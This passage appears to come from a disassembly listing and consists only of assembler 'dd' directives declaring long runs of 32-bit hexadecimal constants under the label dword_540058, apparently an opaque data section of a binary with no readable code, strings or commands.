		dd 113F02E3h, 30D8884Ah, 0FC5FB8A2h, 0B9570C83h, 0C81E9025h
		dd 7C33C850h, 7B831732h
		dd 0FE742485h, 70B80464h, 5E822910h, 2056880h, 0F31901DBh
		dd 6FBA1BC2h, 0B0206AC7h, 0F0D33886h, 222C3F46h, 853B2700h
		dd 96D80C84h, 0DF0D441Dh, 73A029C5h, 61490B2h, 1C938822h
		dd 211362F4h, 0A00407C0h, 5300A127h, 2605B60Dh,	0A0421094h
		dd 7CFEA8h, 0B3CB1DB4h,	69BDB82Ch, 0C103234h, 91327BFCh
		dd 0DFA948A5h, 6EB51418h, 148C034Bh, 4B38001Eh,	366A303Ah
		dd 0CCA3F853h, 909F89h,	17D176BFh, 886F82F7h, 11160720h
		dd 8D0097A2h, 9CF384CEh, 29393DBCh, 2AF57F09h, 44F60CABh
		dd 408CF127h, 918FC120h, 0A09DE826h, 68F56B12h,	203CCD7Ah
		dd 0FB5B3380h, 7BECA4h,	9614E76h, 0D7694ACEh, 61F5E025h
		dd 0AC021F10h, 70D61CC2h, 48185F52h, 0B85F887Ah, 0F40030E2h
		dd 0B3FFECE8h, 9A0B933Dh, 7CB5AF13h, 6E784CD4h,	0CA1D6C0Bh
		dd 60DCFEB8h, 960A4618h, 0F4B1360Eh, 89A3440Dh,	0F8280604h
		dd 501F8AF8h, 40C4B809h, 0EE2628h, 676A8B37h, 0CB13B629h
		dd 0F8E7664Eh, 0A359AC03h, 16AAE59Ch, 0D8007C79h, 5638DEE0h
		dd 0CACB092Bh, 7CB83Dh,	0C00A8560h, 0BA520035h,	825FD3F0h
		dd 797BC329h, 95B61401h, 44359B2Bh, 788B3880h, 0AC4092B3h
		dd 0ECC4697h, 125F7F8Fh, 37BBC120h, 18054E90h, 97741535h
		dd 0A3DBE000h, 25E8648Bh, 98566E4Fh, 0B7E99A40h, 0F640003Fh
		dd 7A88F1B8h, 81048DE7h, 1813E41Bh, 7DA22687h, 70C7A31h
		dd 0E1C8B715h, 0D8B95657h, 16F44679h, 1E6BFC03h, 18FF715Ch
		dd 18B5BBB8h, 1D58C65Eh, 2B204A4h, 0E8C0BE99h, 19137Bh
		dd 4FFC9BA1h, 79812861h, 56661400h, 0C8DD8570h,	3F9C0FA7h
		dd 916BD182h, 83E71C81h, 0DE408492h, 0D402178Ah, 84005DA6h
		dd 0FF87152Bh, 0F2BA39F0h, 96131847h, 4D72A85Ch, 41268388h
		dd 0DCCDC6Ah, 30D3B430h, 11247BFh, 0D86EFE58h, 90A2BE06h
		dd 2850AFE8h, 5E9C4B5h,	0E7472363h, 0AE59C8h, 881814B4h
		dd 27405941h, 757611E2h, 0E8C9F7F3h, 984B08C8h,	0BDCF008Ah
		dd 206CDF8h, 1A01D50Ch,	1F20FE2Eh, 202A0EE9h, 9CCBB548h
		dd 799AF800h, 0E4384FABh, 0AC36000Dh, 9222D2Ch,	512DF708h
		dd 9444BFh, 0B7C0AF64h,	33496C68h, 2C0BE407h, 0F46B1578h
		dd 0E2F24F6Ch, 4EE80054h, 86525E0h, 40300061h, 740746E6h
		dd 0C0BD292Fh, 9818324h, 72EB1B82h, 85109C04h, 0C0F4A02Ch
		dd 1F1627h, 8C049788h, 2CC907Ch, 0DA863B84h, 0B062A10Ch
		dd 0CC91D0C0h, 20B1D333h, 3725A801h, 8820A752h,	70C1DE25h
		dd 0B09C7A32h, 0F4D3E1h, 6F4DC698h, 1887C7Bh, 40A89454h
		dd 21E604D6h, 453C391Ch, 62AB13C0h, 267D0B8h, 51750D1Ch
		dd 32DF0A43h, 16BC543Ch, 83C00057h, 0FF6D12B5h,	35252898h
		dd 7F7CC8A9h, 5AC70E6Ah, 0FD236427h, 835541Fh, 2B8021B6h
		dd 70C60C7h, 2031E8EBh,	0E7A3A106h, 2084C133h, 59C8755Dh
		dd 0C767C038h, 5C462757h, 0E003B022h, 84FBC75Fh, 61A2F8B3h
		dd 98FCEC93h, 1DCB305Ch, 0AA6F27F8h, 1FB69900h,	19B09362h
		dd 8E2494ADh, 0F4831D10h, 110786F8h, 6B5D5467h,	148325F0h
		dd 83D6608h, 44002174h,	9E25E4Ch, 2886080h, 0DE6E3B2h
		dd 80F57FD4h, 629F2BECh, 8731C0A0h, 2DD1F4E1h, 34F28809h
		dd 98E8D483h, 0ED43211Ah, 64A5D100h, 6BBC2C88h,	7AAA097Dh
		dd 40E5476h, 0B6029E68h, 406E3F33h, 0EB98F3Ch, 48B0F8FDh
		dd 0B1F71C04h, 883431A0h, 70DB28h, 52A9C799h, 237BC8FDh
		dd 0D303D7E6h, 43E9204Bh, 0C0FFEC65h, 0E40F0C3Bh, 0EC91200h
		dd 8FD65FBAh, 60910FDFh, 3783E22Ch, 0BCA3B143h,	0A7CBBAE8h
		dd 0BB6A5E1Fh, 81F68740h, 1E02E4h, 8021D926h, 9D7F44B0h
		dd 0A6EA6B00h, 848ACF4Ch, 65EE81h, 0F54E4AFEh, 3AACB801h
		dd 2D641F00h, 62CF1273h, 1A47FFCh, 0CC06D9A5h, 0EF2BF76Bh
		dd 0CB7848AEh, 800E67Ah, 61265055h, 7FCE9142h, 21F6619Ch
		dd 9FDA21F7h, 29805679h, 69659DA1h, 0D5BA0077h,	0A54B8BBCh
		dd 0ACEC2654h, 0D7061E01h, 0CC1BF70Bh, 6673398Ch, 450F7871h
		dd 435EBB24h, 76CF1Ah, 690AE3A0h, 0B4F76E67h, 0B9E820E4h
		dd 3A68B664h, 7374C0FFh, 0EA00FA5Ch, 0ABD8BB8h,	1DD81B41h
		dd 5809F34Dh, 0EAC3485Eh, 0EB9D700h, 2B1F3503h,	98FA1F97h
		dd 0BDAF0CD9h, 5A309B19h, 856A9165h, 79A80072h,	0A7CD25F0h
		dd 5CE86C87h, 0CCF76D00h, 5F1FE78Ch, 22C3008Dh,	0BD318526h
		dd 797C5CA1h, 0B2602377h, 0D4CF5E19h, 1DE703D5h, 74D886A7h
		dd 23D1D2B8h, 5C6F2600h, 0DBA32D93h, 0D6E005Eh,	879F9140h
		dd 2640D28Bh, 0C1D407F6h, 0C3586F52h, 89C099A8h, 3BF07108h
		dd 8DFAA2FAh, 809EE10Ch, 9D5884h, 8A9CFC31h, 0A232D2AEh
		dd 1998490Fh, 0DD580154h, 2883B5D9h, 535C41CFh,	0D5A1806h
		dd 699ACDCh, 0E4F87C84h, 39006931h, 9E6FE25Ch, 0CE124DBh
		dd 388A8C3Bh, 2F3FA0A0h, 60DACC85h, 48321881h, 2558C17Ch
		dd 0EC4729BBh, 42182624h, 64182088h, 707E49Fh, 75331DECh
		dd 0CDA88260h, 94CF9480h, 0F90A6658h, 0A44A5CB7h, 0FD90D118h
		dd 7F1084FFh, 948E9FDBh, 0B9A21E7Fh, 0E8311A0Ch, 9A7734C8h
		dd 7B50E8C4h, 0FF43FD6Ch, 0F596E580h, 0D601A8D4h, 5C2D5869h
		dd 688C7DF3h, 44F1573Ah, 7075401Bh, 428C5A9h, 599F30C0h
		dd 0B189BB30h, 0F91DEF00h, 260C4E70h, 1E6D010Dh, 0E8C0AE7Ch
		dd 0BAD1D49Eh, 29AF2A32h, 3EE72054h, 1579C424h,	31A57100h
		dd 299D5964h, 762007Ah,	0DDAC9344h, 0A403BDFBh,	0F156A5D8h
		dd 0D96FB911h, 1F86F6C0h, 0C01C18E0h, 0AC88C034h, 0FF002777h
		dd 0B7A7DAADh, 7302D1EFh, 4C017C7Eh, 5C135C17h,	40201C6Ch
		dd 0FCAB7B0Eh, 9609B45Fh, 0D8DD641Eh, 105D0054h, 4315CBF4h
		dd 0CE006699h, 336CF1F0h, 2B54C8h, 8C2227F9h, 0BBF504Bh
		dd 0A5B37A0Eh, 44EB67D7h, 6D16946Ah, 93AB8100h,	0D0F577h
		dd 0B9CED787h, 96923D5Ah, 601A4Ch, 0F351ADEBh, 1CD22390h
		dd 749125h, 720E80FBh, 6D00BE17h, 1EB01FA0h, 0EF9DFB4h
		dd 0ADB30F53h, 0B66148A0h, 4C0073BCh, 8AA5DAA7h, 4C6EE75Fh
		dd 88005931h, 0D3B0A827h, 0FE00EF5Ch, 0A4801EC9h, 38DC5462h
		dd 20A8C4F4h, 53F624E8h, 610B002Dh, 0B11FCB3Eh,	37E2F500h
		dd 490C5797h, 97E00A1h,	0F666D2E1h, 0BE005ABBh,	0C2C3D4E5h
		dd 78BEAFEh, 0F10136CDh, 0E99890D6h, 4B03B421h,	2DCB9D04h
		dd 943EA039h, 369A0029h, 0A9B9FCF5h, 0B5000847h, 0B33B13C5h
		dd 74605683h, 0B83F00D9h, 9D4DE32Ch, 0F0C00592h, 9A06EBE1h
		dd 0EFF0026h, 60D5BC17h, 0BFEAA821h, 20321000h,	894A6665h
		dd 120400D9h, 7A9A98C4h, 900A547h, 0A077A1A6h, 6BD634h
		dd 1ABE0AF2h, 5210D106h, 0C34ACA05h, 8800213Ch,	5661CB7Eh
		dd 0D1380093h, 0A948A772h, 0E00BF6Ah, 78D894A3h, 69B207h
		dd 435F0F4Ah, 5B8D5134h, 871E3D00h, 9E562372h, 87FE289h
		dd 2282204Ah, 73857C00h, 1245C03Fh, 1E9C95C2h, 4E4600DCh
		dd 755F83B6h, 0E0E59F0Bh, 8D9B000Ah, 1EEA7EE2h,	8232EF61h
		dd 0D8513745h, 0D12EC440h, 75817903h, 276D13h, 626A5860h
		dd 677E9DA6h, 0EB6EE202h, 0C01ED340h, 8C469Ch, 72A4C6F8h
		dd 623F8B90h, 7194F71Dh, 720783D6h, 485013D9h, 0F305EAh
		dd 79733A12h, 21F817Ch,	31BD8513h, 82E9DB00h, 0B79466h
		dd 1D40E733h, 0F49AD56Fh, 24724Dh, 0A3361A6Ah, 3F2D2A1h
		dd 0D42E80DAh, 9A90347Bh
dword_540058	dd 3F7C8971h, 0C563CE03h, 886C28E8h, 1F8D4Fh, 66AAEB29h
		dd 6D3C7D54h, 303AEC1Fh, 6084DC00h, 90AC5116h, 0D668006Dh
		dd 207C6380h, 0C72C5053h, 8AA85490h, 3600DFE6h,	79E6C40Ah
		dd 72EC8ED0h, 375B1F67h, 0B22C8090h, 0A6577876h, 80B78B3Ah
		dd 0B0164A84h, 0FC3ADAE1h, 0A0EB1610h, 530EEFBEh, 317FC0C3h
		dd 0FBAB49h, 3D7B19E7h,	33E42C2Fh, 832A0D38h, 0D92BCE06h
		dd 9A4000D7h, 0E829F0C8h, 2F002E3Dh, 0AF250226h, 0B90E59h
		dd 31458E95h, 493F86D0h, 3EC64214h, 64140080h, 196F35ECh
		dd 87F6ABh, 0B21CB31h, 25D757C8h, 681C0800h, 0A47CDF03h
		dd 70892BAh, 58FCE6AFh,	8CE8309Dh, 30000CD9h, 3A22F168h
		dd 3BEB62h, 6C83D125h, 0FE6D817Dh, 640F9AFEh, 40C8B117h
		dd 0A3C0982Dh, 848E094Ch, 0A8A14D50h, 108F9455h, 90FD55Ah
		dd 0D296BD2Dh, 74852C23h, 25A03F93h, 0D9004E55h, 0A21A2BEh
		dd 0F1837EF7h, 0E7808845h, 6F1561h, 0BB33CAEh, 1643F6FCh
		dd 1EB86900h, 4DD0D80Eh, 2E1439C2h, 6EDF6480h, 0AC55B7FDh
		dd 0F50C948h, 0A1CF98E9h, 0A950FCC4h, 20F2F4h, 2BA82958h
		dd 0B6224024h, 0EC4263Bh, 5AD1B0FBh, 62D3C038h,	635F0E05h
		dd 0C369BC8Fh, 1B3D5420h, 68004336h, 660FD973h,	40B1AF7h
		dd 0B467B3A3h, 0A4D0800Ch, 4A005DE0h, 0FDCE4D45h, 0C48135h
		dd 20F83B1Bh, 473AB0Ch,	91228900h, 7433A027h, 58E5F016h
		dd 9D001CC5h, 7356D6A1h, 2D00DA2Bh, 7C1826C0h, 7831404Bh
		dd 209C00DBh, 163F5205h, 711F0470h, 7A43911Eh, 88BFEE89h
		dd 0FD5DCACh, 5D11B842h, 32C7FA4Fh, 4EE4003Ch, 0AF16695Fh
		dd 0D440274Dh, 74302247h, 84542492h, 6D280005h,	5F3A403Dh
		dd 0FD0150FAh, 140EE44Ah, 90D7F931h, 0FEF1Fh, 0DAA40CBDh
		dd 9D97F7D1h, 5CDEB639h, 0A1B705EDh, 4D0B0E3h, 0BA1EBF06h
		dd 899C090Ch, 0ED0E2DD0h, 704A398Fh, 91313CB0h,	13A90410h
		dd 0E42AC069h, 76F00050h, 0B68FB0A5h, 0CF00187Fh, 681E43CAh
		dd 742A21Ah, 630A1636h,	0E983C005h, 0B200A822h,	0E15F7CD8h
		dd 6025E7BDh, 0E05650F8h, 42300C59h, 8860906Ah,	1B38383Ah
		dd 0F5C13380h, 0D570B0C5h, 5E6F60BAh, 44606220h, 0B2688558h
		dd 205A1000h, 2EC0E93Ah, 60AAC8h, 72BE4965h, 0EC0F797Dh
		dd 2374A858h, 0EBADBB73h, 0AA4EE089h, 152000DBh, 585B888h
		dd 0E300E2BFh, 900C7CB5h, 70B304Bh, 0D6EA950Dh,	0F0D7E0EFh
		dd 0C000A328h, 0B224E542h, 2D6EA62Bh, 0D18CFB8Ch, 0E0018F98h
		dd 79C9879Ah, 5CC0D4E1h, 5C6675EEh, 482E2771h, 0BEC8002Fh
		dd 0A40A92B7h, 90357301h, 9AE28525h, 314971EBh,	0B9E1F039h
		dd 0ECDC506Fh, 0A8047DE7h, 0C83810Dh, 0D8A117C0h, 5677008Eh
		dd 1B41ABCh, 50D8C929h,	52B7C648h, 741BFC63h, 8EC161A6h
		dd 133910DDh, 0AB6917FCh, 0E912002Fh, 0D2E5F79Dh, 467C4E00h
		dd 2DB48B2h, 593A3030h,	0DE670941h, 1290D70Eh, 8DB08026h
		dd 0C16B5A5h, 3099E2DAh, 6002581h, 27D462C8h, 4E0CB33h
		dd 0B16F79D8h, 1566C045h, 736FC0A4h, 3B0D80A1h,	1492D9h
		dd 6121B0C2h, 42B8F96Ch, 60AC2Ch, 36580E00h, 60C05CABh
		dd 14B73971h, 1B003293h, 0B09E5F15h, 72C6641h, 69918AD9h
		dd 0AA9A90CCh, 0D40AE4C3h, 0B4589BE2h, 29D60642h, 5E30F00h
		dd 0C6053097h, 0A2740141h, 0CF069820h, 879C3CEEh, 19D57306h
		dd 0F0018D2h, 0DAC8E25Eh, 0FB2D0Eh, 643E352h, 5D44452Eh
		dd 5C69250Bh, 5F0100A3h, 63CA50F6h, 436E0807h, 0F48C2000h
		dd 637F7AA2h, 98670077h, 94ACCA0Fh, 0C601C8A9h,	0C973582h
		dd 37E84607h, 0B89B0187h, 624E4925h, 0BC48C963h, 0ABA40048h
		dd 0E5AAB010h, 0C3451871h, 61F80855h, 3EA20C0h,	1B6C5F11h
		dd 586DDEE1h, 0AFA81867h, 5169B741h, 0AE451180h, 0DDCEB984h
		dd 0A695A70Ch, 0C01E0885h, 84B69221h, 3CEA4887h, 502B9007h
		dd 7B20D57Ah, 0EF2F0D49h, 0F35AE180h, 2ADAD287h, 4D0F3100h
		dd 0FC58A2B5h, 0C00A015Fh, 56C440B0h, 8890B174h, 0E40D6A5Ah
		dd 0CE23AC84h, 1F11D5h,	0DD84B793h, 33987DFh, 3016713Eh
		dd 210027BCh, 0C56231CFh, 4846C2h, 664D5253h, 1A5025E8h
		dd 0B01F8930h, 75DE5BEh, 0D594E917h, 73151082h,	0AE00ED0Dh
		dd 1423992Fh, 75B2DDh, 1D9A0A8Dh, 0EFE2FCE7h, 2E794A7Eh
		dd 0F1EE411Fh, 76ADA6C0h, 0DFE7D1h, 85CAC7B3h, 942855BAh
		dd 10560100h, 97F1CF2Eh, 37B3BB2h, 7219D680h, 0BB3EDBC5h
		dd 0A11FAAC0h, 0C686FBh, 0B41D1B3h, 0F51E28BFh,	0CB353E00h
		dd 8C9EC7Ch, 0B22000CAh, 8A023D5Fh, 578DB5Ah, 0B5186800h
		dd 73805B96h, 430D036h,	0FC272E0Ch, 28007E10h, 0E4234979h
		dd 72DEA46h, 2B4574CBh,	0F32EE0EDh, 70760857h, 3C0F321Bh
		dd 0FD21AC28h, 10D71226h, 8E881081h, 532688B6h,	7A08AB89h
		dd 84FA1144h, 0AF21A942h, 940E3908h, 5F113C36h,	2C83214Dh
		dd 0E2293264h, 4FC32882h, 586722h, 0A5E7BED4h, 6BA9E600h
		dd 93D9038Ah, 13B7581h,	0E951639Dh, 71CC3E2Eh, 0E6B8D4F0h
		dd 0CE5EEB00h, 0C66112CDh, 0EE1B3DF6h, 0A2761900h, 670A1799h
		dd 0B40EAC00h, 0D7819A84h, 119E583Fh, 41639600h, 5C8923F8h
		dd 0A7AE0B00h, 0FCD8B069h, 7DAF0714h, 801FEC0Ch, 9C9A59E1h
		dd 9F0001F6h, 0E8274F8Dh, 0CA3806h, 86B06135h, 56E7CB95h
		dd 57886600h, 0D2EC5522h, 6583872h, 5F441780h, 0B913257Fh
		dd 0B16AD000h, 0D7561940h, 8327002Ch, 1A3DEA03h, 530ECE97h
		dd 0C0A948E9h, 0E625BAA6h, 5B9301A4h, 0D67492B3h, 0C03AE538h
		dd 0AC14CB4Dh, 0D72A8Ch, 10450D7Ch, 90CC6490h, 5DA20A20h
		dd 84A1DBh, 0EA62E7Fh, 457ECAF9h, 776E9C00h, 0AADD069Eh
		dd 0AE033FFCh, 498C593Eh, 4390EA0Bh, 0C9384007h, 8D217677h
		dd 5424AD9Fh, 4A57051Ah, 800597F0h, 22B8446Dh, 0A90C6B7Eh
		dd 7176FBEEh, 0AA18006Dh, 0C47DCEC6h, 0B139822Dh, 0B0E18089h
		dd 97B56F3Fh, 531600DDh, 0DFA4FD05h, 0C20BFFF5h, 5C4189Eh
		dd 5B807F40h, 0E32614h,	920489ABh, 3D33F8CBh, 61066E00h
		dd 240BCA29h, 5AFF009Bh, 7FA57E1Fh, 0C00328ADh,	0B0396BCFh
		dd 790DE3Ch, 4AC61533h,	7F5C8087h, 4D600BE4h, 5436E5C8h
		dd 58280EC2h, 9507DA69h, 1F5FE087h, 350F70ECh, 0A09C8563h
		dd 1D917AAh, 0C62E0738h, 0B0D549FFh, 1F20DC4Fh,	0B00B1B0h
		dd 3FDE37DBh, 329C75h, 48854693h, 5D837A71h, 0B0481098h
		dd 3F007106h, 0E23EFE57h, 263703h, 544CF26Ah, 79499695h
		dd 91D51D00h, 7EFDEE2Ah, 37A0055h, 0E1F82B6h, 3D006ACFh
		dd 4E46C1C7h, 3C65179h,	3FDB766Eh, 0F7E84956h, 0E800F920h
		dd 80B9621Ah, 28A6B1ABh, 2F8F5E0h, 296C3DBh, 9E0EE8Bh
		dd 0C00BF27h, 9251F4EBh, 1ED8625Ah, 28395754h, 869C009Ah
		dd 5CB25699h, 0F903BED1h, 3996F0E0h, 0CEFD9022h, 42D40205h
		dd 66467D1Bh, 60776860h, 57925200h, 65AF7B25h, 114E00E4h
		dd 0EB410BFCh, 377AA297h, 0A0071AE4h, 0C1CCD61Fh, 42E3BD0h
		dd 0DB750026h, 4217AE58h, 0B900BB73h, 8C43F4E7h, 55DE6D4h
		dd 2D20B707h, 66E8006Ch, 0DF17EB11h, 3946E460h,	0A936D1h
		dd 254505F2h, 0A493385Bh, 7F3BBFFAh, 0D27E8FA5h, 1EC180FBh
		dd 0B79ADFh, 0BBB8A617h, 207FB6FDh, 0F9011509h,	2E640010h
		dd 413DECh, 3663DA2Fh, 0FB46099Dh, 0E940150Fh, 198002AAh
		dd 0FAE4612Bh, 0B4C1F4h
		dd 0C8AE612Ah, 0D0D5914Eh, 38C0600h, 0F0A2E972h, 7CECFE87h
		dd 693A0048h, 976FDA2Eh, 4B4C885Ch, 408C0042h, 0A3B078D1h
		dd 7BF800D8h, 0C97AD7E5h, 95004F5Fh, 943EFA0Fh,	0A01F52D3h
		dd 171A43A4h, 0B323Dh, 3BAA2F2Bh, 5B009E08h, 0E3B2B79Fh
		dd 7A77591h, 0B9476374h, 5E591009h, 0DD006BA5h,	0F8E7A237h
		dd 0F1AB27h, 6CFAC129h,	3D925C09h, 50204Dh, 3C06E2EBh
		dd 0C1DB62h, 833B3AEEh,	0BA51336Eh, 0F4397A00h,	0DECA69FFh
		dd 5A85019Ah, 0BF3106B9h, 0B5A6F816h, 0CE0E0FE0h, 2389B319h
		dd 0C01BA576h, 7BB0CCA3h, 0CFA42C5Ah, 0EC2D94A4h, 0C92A6007h
		dd 443F50B1h, 0B0C4B386h, 0ACC024EDh, 1E886223h, 3F272D9Ch
		dd 8945750Fh, 3FD69960h, 8459D11Bh, 0B6A304B0h,	34C0035Ch
		dd 68B7BFh, 0A47625E9h,	9CD9748Dh, 5D3BFA00h, 0F822C3EDh
		dd 717A091Ch, 0C084B4FFh, 3F2B80F6h, 5A0968BAh,	809CFCCFh
		dd 1871CEDCh, 0D8983044h, 1C8C5140h, 0BC3FF400h, 790C9922h
		dd 770E003h, 0CD9EEFEDh, 2AF64046h, 0A302E4F3h,	3993AD80h
		dd 7EDA4148h, 3CB68C30h, 9263DDAEh, 0D5B80821h,	1004CBDh
		dd 0AA2687B0h, 1CF58312h, 0C0301154h, 0E9423F96h, 0F4244B33h
		dd 0AD01C015h, 0D97D3E8h, 0EF40C835h, 65205Bh, 26F44DA8h
		dd 0A74B8B72h, 1D48AA74h, 0CA5820h, 23B64590h, 95164Eh
		dd 2775CE3Ch, 0E49AD734h, 0BDF03F60h, 21DD112h,	661AD6D9h
		dd 64E84F96h, 1002FEDh,	4B2449DDh, 0C7BE33AEh, 13F4AB81h
		dd 0CCD8B948h, 0FCB016ECh, 7661150Eh, 0C011E104h, 708F294Fh
		dd 18C9D67Dh, 25706E8Ch, 3AD7A3Bh, 3AC14853h, 612CA097h
		dd 4AB70249h, 1DBA750Fh, 9A95CC0h, 1F3AA700h, 2938BB74h
		dd 9C2A1D83h, 0CA06818Dh, 209D2CEDh, 5420A40Ch,	0BD162C67h
		dd 0A2803F51h, 0CEBE6F42h, 11095E8Bh, 28FE4h, 35F69618h
		dd 0FBBD1350h, 0CC380377h, 0A09F8E2Bh, 0BBB0EF5Dh, 169C2100h
		dd 7C23D77Ah, 421C00BFh, 0D50572CFh, 611EB1C5h,	28C0D822h
		dd 59EDE729h, 0CD90FD0h, 4620A7D2h, 3965AA9Ah, 1D6FEE00h
		dd 174E99A8h, 0BD12075Bh, 0B0FFF7F6h, 64593ABh,	64B6F80Ch
		dd 1ECCCE9h, 14DFDEDDh,	47FF5F07h, 7F5621C4h, 2388C4AEh
		dd 78AAF200h, 9AC2C9ABh, 0F86B00D4h, 90B2E6C1h,	1500FED7h
		dd 0C6A37E3Fh, 382B6675h, 53808EA9h, 4EB8B0D6h,	0AF2E21EAh
		dd 0E602A80Fh, 6844ED4Ch, 516830h, 16C5496Ah, 0B999C1C4h
		dd 0E60B1300h, 0FA86D1CCh, 0E0A0A0F8h, 41693C51h, 0A09068h
		dd 0E3D23F78h, 2D14E2B9h, 0E0FFF8h, 275E4EDDh, 9022E92h
		dd 144ABD6Bh, 96CDEC00h, 51003C3Bh, 0CA82FBADh,	797508h
		dd 9F29988Ah, 1D52D0F4h, 34555B00h, 3FA46F30h, 1C7124FBh
		dd 0CEA80040h, 785192AFh, 0BA1696C1h, 7C2055C8h, 0C0904CD1h
		dd 0A4146500h, 0EBB4CBC5h, 0CA0CB8C0h, 5314C26h, 787E2977h
		dd 0AB84D221h, 0BBB045h, 87FACC2Ah, 3389A83h, 0B975E286h
		dd 0CAC92DE3h, 6B5DE8B6h, 5056FA04h, 408072AEh,	280B8B3h
		dd 0F244E3C0h, 2E41E548h, 7020F54Eh, 8E06E66Ch,	2154DB97h
		dd 0E4F0010h, 0DC704207h, 0EF136350h, 0E000679Fh, 0A321A690h
		dd 348901F8h, 3DCDAE02h, 4048C93Eh, 103AD5D8h, 5BDDD201h
		dd 1F408E0Eh, 0F2DC20h,	0E2FCE99Fh, 0C69015D9h,	9B3DC900h
		dd 0BD2CE39Eh, 511A00A0h, 7044B94Fh, 0D7002634h, 0EF0B4295h
		dd 34CC4h, 18F4A6E8h, 3BD8D90Ah, 58B03477h, 2E3A2F58h
		dd 884F40B8h, 0B12EBh, 22C4E67Ch, 73009D20h, 0A39A369h
		dd 1F06B779h, 403338EDh, 44FF243Eh, 3A0E1E0Bh, 0E0AC66E1h
		dd 0BF7576ECh, 1FAF00DDh, 5D976490h, 0C300EF4Fh, 3FF135EDh
		dd 1A8D05h, 0C6C9BB70h,	0A9923746h, 9A677C00h, 289665A8h
		dd 0E3D40040h, 4173C16Fh, 0A206D38Dh, 4B99AE45h, 0AF310040h
		dd 5C58F7A7h, 3400FFD5h, 0C763151Dh, 281AD4B3h,	28A0379Bh
		dd 0C099DBh, 0A86F5B76h, 0F3A674CDh, 27000A7Fh,	83070916h
		dd 98CF0310h, 0F4CD4870h, 54D18E00h, 2EAB2D6Ch,	0BDA8081Ch
		dd 7CFEDA04h, 47F76A80h, 66DE00D6h, 80AE6055h, 0A600C363h
		dd 0C6868718h, 6B776Ah,	4EBC8316h, 0E2648EA2h, 6747361Dh
		dd 0E700F4BAh, 0F2967577h, 400953h, 0C9345F38h,	6A03B72h
		dd 48AB48h, 8DEE3F11h, 0BE6280h, 0BF1939A1h, 20909D0Dh
		dd 7BC5161Ch, 69CA4040h, 1C8E7330h, 98AE815Fh, 34CB3060h
		dd 391EB212h, 7855D400h, 143366h, 0D9A41D4Bh, 1CC59BCCh
		dd 149FE00h, 8F035897h,	0F8920086h, 0E28BA5F4h,	0FA7AAC0Fh
		dd 84CE3228h, 45D3Eh, 7FA0A62Dh, 0CB8463Dh, 0EEFFD973h
		dd 6D3C4256h, 7FA3C50h,	0F5E530A9h, 0C2E1F8C0h,	91D20371h
		dd 0C84EE606h, 4F192DE8h, 0E2DDCF00h, 7AFB477h,	0AC793E9Eh
		dd 0CD920F7Fh, 11A03A53h, 52C04BF5h, 0E80EBAE0h, 9C1875C2h
		dd 30624200h, 7B3E12h, 1219AA1h, 452E935Ch, 6F052F02h
		dd 48D11A2Bh, 80B949E8h, 0CCBAF6E8h, 3002FEE6h,	50188A35h
		dd 19F44085h, 460E2429h, 68BE0008h, 2245766Ch, 0CB471B1Ch
		dd 0A071CF0Fh, 213DC78Dh, 9F7E0032h, 0A9173C35h, 4A001287h
		dd 0BAC25B5Fh, 7A50162h, 0D1BF7F4h, 91A7229h, 38E09DC0h
		dd 8BE55100h, 0F7CFC3B1h, 9A8B0A6h, 7A292D55h, 1A24D040h
		dd 17CD9F00h, 22F0A0E9h, 0BA8F06A7h, 0A03531E6h, 805E533Ah
		dd 2DBE17ECh, 3167DF6h,	2F815B4Ch, 2BC31182h, 0E45F5803h
		dd 1D9E0BF2h, 0C0C1FBE0h, 0A668CF36h, 75008808h, 15EFE0CAh
		dd 9C13ACh, 0B82E424h, 0DADE855Dh, 0F74C357Fh, 0E6E500BCh
		dd 5CE3CDB5h, 0C4FD0168h, 0E9B28E0Ch, 1861F426h, 0D3708C00h
		dd 37CDE459h, 0FE961323h, 890058Fh, 3150806Ah, 0C71C9974h
		dd 0E7136E25h, 0B7573C00h, 0EE64D2B5h, 0B35C0068h, 0B90D54F1h
		dd 0F7009CF5h, 73BC317Bh, 308FFDB1h, 0C4D885ABh, 0E38DEDFh
		dd 661B0EB3h, 0FEE86077h, 5831043Eh, 843C087Fh,	791C3880h
		dd 707681D8h, 4D2B3907h, 0E00E7B87h, 1C53FAE5h,	0CAAC03C8h
		dd 0DB419C4Bh, 0EE5460D8h, 4DBDD400h, 1F38BB6h,	1C20ED12h
		dd 975C0302h, 0BA0AAB4h, 5933C002h, 407656ECh, 7855510h
		dd 3546B562h, 0C8D0903Ah, 5902F742h, 0B611F383h, 5CCE84Dh
		dd 0BF8012CDh, 40531647h, 1B84F8B8h, 0C6180B49h, 0A461F9FCh
		dd 8B2096A0h, 182030D5h, 48D81C51h, 5CA2040h, 7AA411D7h
		dd 0E11490F1h, 5602C326h, 396654F4h, 0F0E46034h, 0BB981D3Ch
		dd 4BBD4A0Ah, 705528C3h, 7CCE021Ah, 0A00821D1h,	60C4E2F7h
		dd 0CA2718h, 3EB5C199h,	0B53B13Fh, 166D458h, 3CCB1B79h
		dd 2070767Dh, 7AAD0F4Eh, 8260AA87h, 5AC65B22h, 2644A438h
		dd 0C0259669h, 2B856Fh,	0F5786750h, 177FD8EAh, 80FF403Eh
		dd 93A9EFEDh, 6E2C42h, 3322AB70h, 775537D2h, 1D49F600h
		dd 16807B3h, 5B160065h,	46613ACAh, 0A40FDD59h, 82BA423Ch
		dd 40EDC094h, 27318Ch, 1AFD552h, 602F72B8h, 6DD8B300h
		dd 48232BF8h, 0F64D00BEh, 41B06C7Ah, 400217Fh, 0A6FC36F7h
		dd 0EE12D6h, 9E1B76EBh,	0A5B730D8h, 94E7DE13h, 11CC2C00h
		dd 0DA3707h, 6F6222FFh,	0D84A5AF0h, 7870BD00h, 9E5DC2A1h
		dd 869000C8h, 0A2E50B4Eh, 0E00B279h, 753AA6DAh,	7E98EF2h
		dd 592BF5AFh, 6EC620D5h, 5C00E08Ah, 0A4FC4A57h,	49234CFh
		dd 8FF0EBC4h, 8380A421h, 9607843Ch, 0BC014C25h,	126C6D5h
		dd 77B43020h, 7C5799Eh
		dd 0E2A9CA90h, 1AA2B0B9h, 833DFDE3h, 6A8E9F31h,	0D9461F40h
		dd 4BC696h, 0F2ADAE7Fh,	7BD6A835h, 0C98E38h, 0F779C256h
		dd 3FAC6728h, 40CA14EEh, 96358E38h, 2C00F446h, 9F803479h
		dd 7D69905h, 0C8A7203h,	9B449E3Fh, 208083FFh, 8856B088h
		dd 0EC3D7E00h, 0BE7F2CA7h, 6E7770h, 0CBBA33B7h,	0D7B0A635h
		dd 0D576F900h, 5B0653C1h, 963A0363h, 889FC24Fh,	0F1BEC0BCh
		dd 5712BA43h, 2C0760B8h, 0C0699BA2h, 8835D970h,	7400B249h
